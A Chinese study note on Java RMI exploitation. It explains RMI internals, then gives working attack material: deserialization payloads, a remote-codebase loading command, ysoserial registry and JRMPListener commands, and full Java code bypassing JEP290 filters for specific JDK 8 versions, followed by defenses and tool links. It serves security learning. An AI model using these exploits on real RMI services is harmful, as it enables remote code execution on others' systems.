RMI利用学习
字数 1815 2025-08-27 12:33:23

RMI利用学习文档

一、RMI基础概念

1.1 RMI简介

RMI(Remote Method Invocation)是Java的远程方法调用机制,允许一个Java虚拟机上的对象调用另一个Java虚拟机上对象的方法。特点:

  • 对象使用序列化传输
  • 方法执行在远程服务上完成
  • 底层基于TCP协议通信

1.2 RMI核心组件

  1. 远程接口(Remote Interface):定义可远程调用的方法
  2. 远程对象实现(Remote Object Implementation):实现远程接口
  3. RMI注册表(RMI Registry):管理远程对象名称绑定
  4. 客户端(Client):查找并调用远程对象

1.3 基本代码结构

远程接口示例

package org.zzlearn_test.RMI;
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface ServiceInterface extends Remote {
    String hello(String a) throws RemoteException;
}

远程对象实现

package org.zzlearn_test.RMI;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class Service extends UnicastRemoteObject implements ServiceInterface {
    protected Service() throws RemoteException {
        super();
    }
    
    public String hello(String a) throws RemoteException {
        System.out.println("call from "+a);
        return "Hello " + a;
    }
}

RMI服务端

package org.zzlearn_test.RMI;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RMIServer {
    private void start() throws Exception {
        Service h = new Service();
        LocateRegistry.createRegistry(1091);
        Naming.bind("rmi://127.0.0.1:1091/Hello", h);
    }
    
    public static void main(String[] args) throws Exception {
        new RMIServer().start();
    }
}

RMI客户端

package org.zzlearn_test.RMI;
import java.rmi.Naming;

public class RMIClient {
    public static void main(String[] args) throws Exception {
        ServiceInterface hello = (ServiceInterface) Naming.lookup("rmi://127.0.0.1:1091/Hello");
        String ret = hello.hello("test2");
        System.out.println(ret);
    }
}

二、RMI通信机制

2.1 通信流程

  1. 客户端首先连接RMI Registry
  2. Registry回复一个Data消息,包含新的端口信息
  3. 客户端根据Data中的信息(ip,端口)连接真正的RMI服务
  4. 客户端传输参数,服务端执行并返回结果

2.2 注册中心创建方式

两种获取注册中心的方式:

  1. LocateRegistry.createRegistry
  2. LocateRegistry.getRegistry

createRegistry实现

public static Registry createRegistry(int port) throws RemoteException {
    return new RegistryImpl(port);
}

public static Registry createRegistry(int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException {
    return new RegistryImpl(port, csf, ssf);
}

getRegistry实现

public static Registry getRegistry(String host, int port, RMIClientSocketFactory csf) throws RemoteException {
    LiveRef liveRef = new LiveRef(new ObjID(ObjID.REGISTRY_ID), new TCPEndpoint(host, port, csf, null), false);
    RemoteRef ref = (csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef);
    return (Registry) Util.createProxy(RegistryImpl.class, ref, false);
}

2.3 绑定过程分析

  • createRegistry返回的是RegistryImpl对象,直接操作本地绑定
  • getRegistry返回的是RegistryImpl_Stub对象,通过远程调用绑定

直接绑定流程

public void bind(String var1, Remote var2) throws RemoteException, AlreadyBoundException, AccessException {
    checkAccess("Registry.bind");
    synchronized(this.bindings) {
        Remote var4 = (Remote)this.bindings.get(var1);
        if (var4 != null) {
            throw new AlreadyBoundException(var1);
        } else {
            this.bindings.put(var1, var2);
        }
    }
}

远程绑定流程

public void bind(String var1, Remote var2) throws AccessException, AlreadyBoundException, RemoteException {
    try {
        RemoteCall var3 = super.ref.newCall(this, operations, 0, 4905912898345647071L);
        try {
            ObjectOutput var4 = var3.getOutputStream();
            var4.writeObject(var1);
            var4.writeObject(var2);
        } catch (IOException var5) {
            throw new MarshalException("error marshalling arguments", var5);
        }
        super.ref.invoke(var3);
        super.ref.done(var3);
    } catch (RuntimeException var6) {
        throw var6;
    }
}

三、RMI攻击面分析

3.1 攻击场景分类

  1. 攻击服务端
  2. 攻击客户端
  3. 攻击注册中心
  4. 利用DGC(分布式垃圾收集)攻击

3.2 攻击方法

3.2.1 直接反序列化攻击

当服务端接受Object类型参数时,可构造恶意序列化对象:

public class RMIClient {
    public static void main(String[] args) throws Exception {
        Object seri = CommonsCollections6TemplatesImpl();
        ServiceInterface hello = (ServiceInterface) Naming.lookup("rmi://127.0.0.1:1091/Hello");
        String ret = hello.hello(seri);
        System.out.println(ret);
    }
}

3.2.2 利用codebase执行任意代码

条件:

  1. java.rmi.server.useCodebaseOnly=false或Java版本<7u21/6u45
  2. 设置了System.setSecurityManager(new RMISecurityManager());

攻击方式:

java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://example.com/ RMIClient

3.2.3 攻击注册中心

使用ysoserial工具:

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1091 CommonsCollections1 "calc.exe"

3.2.4 利用DGC攻击

使用JRMPListener:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "calc.exe"

客户端触发:

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RegistryToClient {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        registry.unbind("http://127.0.0.1/Hello");
    }
}

3.3 绕过限制技术

3.3.1 绕过参数类型限制

当方法参数类型为String等非Object时,需要:

  1. 修改方法hash或参数类型
  2. 使用网络代理修改序列化对象
  3. 使用工具如:https://github.com/Afant1/RemoteObjectInvocationHandler

3.3.2 绕过JEP290限制

方法一:利用DGC开启JRMP(8u121-8u230)

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.Proxy;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class JRMPToRegistry {
    public static void main(String[] args) throws Exception {
        Registry reg = LocateRegistry.getRegistry("127.0.0.1",1091);
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1234);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Registry proxy = (Registry) Proxy.newProxyInstance(Registry.class.getClassLoader(), 
            new Class[] { Registry.class }, obj);
        reg.bind("test12",proxy);
    }
}

方法二:利用UnicastRemoteObject(8u231-8u240)

import sun.rmi.registry.RegistryImpl_Stub;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.ObjectOutput;
import java.lang.reflect.*;
import java.rmi.registry.*;
import java.rmi.server.*;
import java.util.Random;

public class Client2 {
    public static void main(String[] args) throws Exception {
        UnicastRemoteObject payload = getPayload();
        Registry registry = LocateRegistry.getRegistry(1091);
        bindReflection("pwn", payload, registry);
    }
    
    static UnicastRemoteObject getPayload() throws Exception {
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1234);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
        RMIServerSocketFactory factory = (RMIServerSocketFactory) Proxy.newProxyInstance(
            handler.getClass().getClassLoader(),
            new Class[]{RMIServerSocketFactory.class, Remote.class},
            handler
        );
        Constructor<UnicastRemoteObject> constructor = UnicastRemoteObject.class.getDeclaredConstructor();
        constructor.setAccessible(true);
        UnicastRemoteObject unicastRemoteObject = constructor.newInstance();
        Field field_ssf = UnicastRemoteObject.class.getDeclaredField("ssf");
        field_ssf.setAccessible(true);
        field_ssf.set(unicastRemoteObject, factory);
        return unicastRemoteObject;
    }
    
    static void bindReflection(String name, Object obj, Registry registry) throws Exception {
        Field ref_filed = RemoteObject.class.getDeclaredField("ref");
        ref_filed.setAccessible(true);
        UnicastRef ref = (UnicastRef) ref_filed.get(registry);
        Field operations_filed = RegistryImpl_Stub.class.getDeclaredField("operations");
        operations_filed.setAccessible(true);
        Operation[] operations = (Operation[]) operations_filed.get(registry);
        RemoteCall remoteCall = ref.newCall((RemoteObject) registry, operations, 0, 4905912898345647071L);
        ObjectOutput outputStream = remoteCall.getOutputStream();
        Field enableReplace_filed = ObjectOutputStream.class.getDeclaredField("enableReplace");
        enableReplace_filed.setAccessible(true);
        enableReplace_filed.setBoolean(outputStream, false);
        outputStream.writeObject(name);
        outputStream.writeObject(obj);
        ref.invoke(remoteCall);
        ref.done(remoteCall);
    }
}

四、防御措施

4.1 JDK安全更新

  1. 8u121:增加checkAccess方法检查是否为localhost
  2. 8u141:在RegistryImpl_Skel中提前执行checkAccess
  3. JEP290:引入反序列化过滤机制

4.2 JEP290机制

  • 实现ObjectInputFilter接口
  • 提供可配置的过滤机制(白名单/黑名单)
  • 白名单包含:String、Number、Remote、Proxy、UnicastRef等

4.3 最佳实践

  1. 升级到最新JDK版本
  2. 设置java.rmi.server.useCodebaseOnly=true
  3. 限制RMI服务网络访问
  4. 使用安全管理器并配置严格策略

五、工具推荐

  1. BaRMIe:RMI危险方法探测工具
    https://github.com/NickstaDB/BaRMIe
  2. ysoserial:反序列化利用工具
    https://github.com/frohoff/ysoserial
  3. RemoteObjectInvocationHandler:绕过参数限制工具
    https://github.com/Afant1/RemoteObjectInvocationHandler
  4. ysomap:高级RMI利用框架
    https://github.com/wh1t3p1g/ysomap
RMI利用学习文档 一、RMI基础概念 1.1 RMI简介 RMI(Remote Method Invocation)是Java的远程方法调用机制,允许一个Java虚拟机上的对象调用另一个Java虚拟机上对象的方法。特点: 对象使用序列化传输 方法执行在远程服务上完成 底层基于TCP协议通信 1.2 RMI核心组件 远程接口(Remote Interface) :定义可远程调用的方法 远程对象实现(Remote Object Implementation) :实现远程接口 RMI注册表(RMI Registry) :管理远程对象名称绑定 客户端(Client) :查找并调用远程对象 1.3 基本代码结构 远程接口示例 远程对象实现 RMI服务端 RMI客户端 二、RMI通信机制 2.1 通信流程 客户端首先连接RMI Registry Registry回复一个Data消息,包含新的端口信息 客户端根据Data中的信息(ip,端口)连接真正的RMI服务 客户端传输参数,服务端执行并返回结果 2.2 注册中心创建方式 两种获取注册中心的方式: LocateRegistry.createRegistry LocateRegistry.getRegistry createRegistry实现 getRegistry实现 2.3 绑定过程分析 createRegistry 返回的是 RegistryImpl 对象,直接操作本地绑定 getRegistry 返回的是 RegistryImpl_Stub 对象,通过远程调用绑定 直接绑定流程 远程绑定流程 三、RMI攻击面分析 3.1 攻击场景分类 攻击服务端 攻击客户端 攻击注册中心 利用DGC(分布式垃圾收集)攻击 3.2 攻击方法 3.2.1 直接反序列化攻击 当服务端接受Object类型参数时,可构造恶意序列化对象: 3.2.2 利用codebase执行任意代码 条件: java.rmi.server.useCodebaseOnly=false 或Java版本 <7u21/6u45 设置了 System.setSecurityManager(new RMISecurityManager()); 攻击方式: 3.2.3 攻击注册中心 使用ysoserial工具: 3.2.4 利用DGC攻击 使用JRMPListener: 客户端触发: 3.3 绕过限制技术 3.3.1 绕过参数类型限制 当方法参数类型为String等非Object时,需要: 修改方法hash或参数类型 使用网络代理修改序列化对象 使用工具如:https://github.com/Afant1/RemoteObjectInvocationHandler 3.3.2 绕过JEP290限制 方法一:利用DGC开启JRMP(8u121-8u230) 方法二:利用UnicastRemoteObject(8u231-8u240) 四、防御措施 4.1 JDK安全更新 8u121 :增加 checkAccess 方法检查是否为localhost 8u141 :在 RegistryImpl_Skel 中提前执行 checkAccess JEP290 :引入反序列化过滤机制 4.2 JEP290机制 实现 ObjectInputFilter 接口 提供可配置的过滤机制(白名单/黑名单) 白名单包含:String、Number、Remote、Proxy、UnicastRef等 4.3 最佳实践 升级到最新JDK版本 设置 java.rmi.server.useCodebaseOnly=true 限制RMI服务网络访问 使用安全管理器并配置严格策略 五、工具推荐 BaRMIe :RMI危险方法探测工具 https://github.com/NickstaDB/BaRMIe ysoserial :反序列化利用工具 https://github.com/frohoff/ysoserial RemoteObjectInvocationHandler :绕过参数限制工具 https://github.com/Afant1/RemoteObjectInvocationHandler ysomap :高级RMI利用框架 https://github.com/wh1t3p1g/ysomap